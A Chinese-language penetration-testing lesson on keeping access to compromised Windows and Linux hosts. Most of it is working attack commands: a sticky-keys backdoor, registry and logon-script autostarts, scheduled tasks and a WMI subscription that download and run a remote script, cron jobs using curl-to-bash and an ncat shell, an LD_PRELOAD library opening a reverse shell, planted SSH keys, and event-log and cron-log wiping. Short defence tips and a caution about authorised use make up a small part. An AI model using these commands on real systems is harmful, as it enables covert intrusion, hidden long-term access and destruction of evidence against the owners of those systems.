内网持久化实战指南:从后门植入到长期潜伏

第12章 第115课

内网持久化实战指南:从后门植入到长期潜伏

大家好,今天我们来聊聊渗透测试中最"厚脸皮"的技术——持久化维持访问。想象一下,你千辛万苦拿到服务器权限,结果管理员一个重启就把你踢出来了,这种滋味可不好受 ( ̄ω ̄;)

1. 持久化:黑客的"备胎钥匙"

(1) 什么是持久化?

就像你偷偷配了班主任办公室的钥匙:

第一次进入:可能靠钓鱼邮件或者漏洞利用

持久化后:即使老师换了门锁(改密码),你依然有备用入口

(2) 核心目标

1. 存活重启:服务器重启后仍能保持访问

2. 绕过检测:不被杀软/管理员发现

3. 多种备用:准备至少3种不同的后门

2. Windows持久化五大邪术

(1) 粘滞键后门:残疾人的逆袭

原理:替换辅助功能的sethc.exe为cmd.exe

# 需要管理员权限

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

takeown /f c:\windows\system32\sethc.exe

icacls c:\windows\system32\sethc.exe /grant administrators:F

触发方式:连续按5次Shift键(登录界面也有效)

防御检测:

监控C:\Windows\System32\sethc.exe的文件哈希变化

(2) 注册表自启动:老牌但有效

# 添加启动项

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\temp\backdoor.exe" /f

# 更隐蔽的姿势(用户登录时执行)

reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "C:\malware.exe" /f

实战技巧:

伪装成AdobeUpdate.exe这类常见进程名

(3) 计划任务:系统级的"闹钟"

# 每分钟执行一次

schtasks /create /tn "SystemChecker" /tr "C:\shell.exe" /sc minute /mo 1

# 更隐蔽的姿势(空闲时执行)

schtasks /create /tn "IdleTask" /tr "powershell -ep bypass -c 'IEX(New-Object Net.WebClient).DownloadString(''http://192.168.1.100/rev.ps1'')'" /sc onidle /i 10

日志清理:

完成后记得删除任务记录

wevtutil cl "Microsoft-Windows-TaskScheduler/Operational"

(4) WMI无文件后门:高级玩家的选择

# 创建永久事件订阅

$FilterArgs = @{

EventNamespace = 'root\cimv2'

Name = 'WindowsUpdateFilter'

Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

}

$ConsumerArgs = @{

Name = 'WindowsUpdateConsumer'

CommandLineTemplate = "powershell.exe -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(''http://192.168.1.100/rev.ps1'')'"

}

$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs

$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs

Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer}

特点:

无文件落地

重启后依然有效

常规进程监控看不到

3. Linux持久化三板斧

(1) SSH公钥后门:最简单的方案

# 在目标机器上操作

echo 'ssh-rsa AAAAB3NzaC...' >> ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

# 更隐蔽的姿势(root用户)

mkdir -p /root/.ssh && echo '你的公钥' >> /root/.ssh/authorized_keys

防御检测:

监控/etc/ssh/sshd_config中的AllowUsers设置

(2) Crontab定时任务

# 每分钟连接一次C2服务器

(crontab -l 2>/dev/null; echo "* * * * * curl http://192.168.1.100/shell.sh | bash") | crontab -

# 更隐蔽的姿势(写入/etc/cron.d)

echo "* * * * * root ncat -lvp 4444 -e /bin/bash" > /etc/cron.d/backup

日志清理:

sed -i '/backup/d' /var/log/cron

(3) LD_PRELOAD劫持

# 编译恶意so库

cat < /tmp/evil.c

#include

#include

#include

void _init() {

system("bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'");

}

EOF

gcc -shared -o /lib/evil.so -fPIC /tmp/evil.c

# 全局生效

echo "/lib/evil.so" >> /etc/ld.so.preload

特点:

任何程序启动都会触发

常规进程检查看不到异常

4. 防御与对抗

(1) Windows防御建议

# 检查异常计划任务

Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft*" }

# 监控WMI事件

Get-WmiObject -Namespace root\subscription -Class __EventFilter

(2) Linux防御建议

# 检查异常cron任务

ls -la /etc/cron* /var/spool/cron

# 监控LD_PRELOAD

grep -r "LD_PRELOAD" /etc/environment /etc/ld.so.preload

(3) 企业级防护

1. 启用AppLocker限制可执行路径

2. 部署EDR监控进程注入行为

3. 定期审计特权账户活动

5. 持久化思维导图

graph LR

A[初始入侵] --> B{系统类型}

B -->|Windows| C[粘滞键/注册表/WMI]

B -->|Linux| D[SSH/Crontab/预加载]

C & D --> E[清理日志]

E --> F[准备备用通道]

最后忠告:

在授权测试中谨慎使用持久化技术

企业内网往往有更严格的监控

保持学习,防御手段也在不断升级 (╯°□°)╯︵ ┻━┻

下次我们聊聊如何绕过EDR的内存扫描,想深入了解的同学可以留言讨论~